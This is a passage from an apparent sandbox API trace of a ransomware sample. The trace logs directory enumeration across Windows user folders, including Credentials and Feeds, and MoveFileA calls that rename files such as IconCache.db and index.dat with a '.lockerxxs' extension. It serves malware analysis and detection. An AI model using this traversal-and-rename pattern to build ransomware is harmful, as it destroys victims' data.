ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.420] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x50c280, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x50c280, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.421] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.421] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.421] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x5323e0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x5323e0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.422] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x5323e0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x5323e0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.423] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540050, dwReserved1=0x460020, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.423] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.423] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x5323e0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x5323e0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.424] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.424] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.424] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x558540, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x558540, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.425] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x558540, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x558540, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.426] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x558540, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x558540, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540050, dwReserved1=0x460020, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.426] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x558540, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x558540, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540050, dwReserved1=0x460020, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.456] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540050, dwReserved1=0x460020, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.456] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.456] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x57e6a0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x57e6a0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.457] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0092.457] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Sun\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x46007b, dwReserved1=0x430038, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.458] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0092.458] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x57e6a0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x57e6a0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.459] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Templates\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Java", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0092.459] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName=".", cAlternateFileName="")) returned 0x502598 [0092.459] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.460] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0092.462] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x40000000, ftCreationTime.dwLowDateTime=0x18f908, ftCreationTime.dwHighDateTime=0xffffffff, ftLastAccessTime.dwLowDateTime=0x18f808, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x18fa0c, dwReserved0=0x76c3075a, dwReserved1=0x400, cFileName="", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0092.462] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x40000000, ftCreationTime.dwLowDateTime=0x18f908, ftCreationTime.dwHighDateTime=0xffffffff, ftLastAccessTime.dwLowDateTime=0x18f808, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x18fa0c, dwReserved0=0x76c3075a, dwReserved1=0x400, cFileName="", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0092.490] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db.lockerxxs")) returned 1 [0092.492] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750061, dwReserved1=0x74006c, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.495] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.496] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.504] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fa56e, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.509] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.510] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.512] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x35007b, dwReserved1=0x380035, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.514] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.516] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.518] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.527] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat.lockerxxs")) returned 1 [0092.529] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750061, dwReserved1=0x74006c, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.534] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x201, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.540] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.lockerxxs")) returned 1 [0092.543] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, 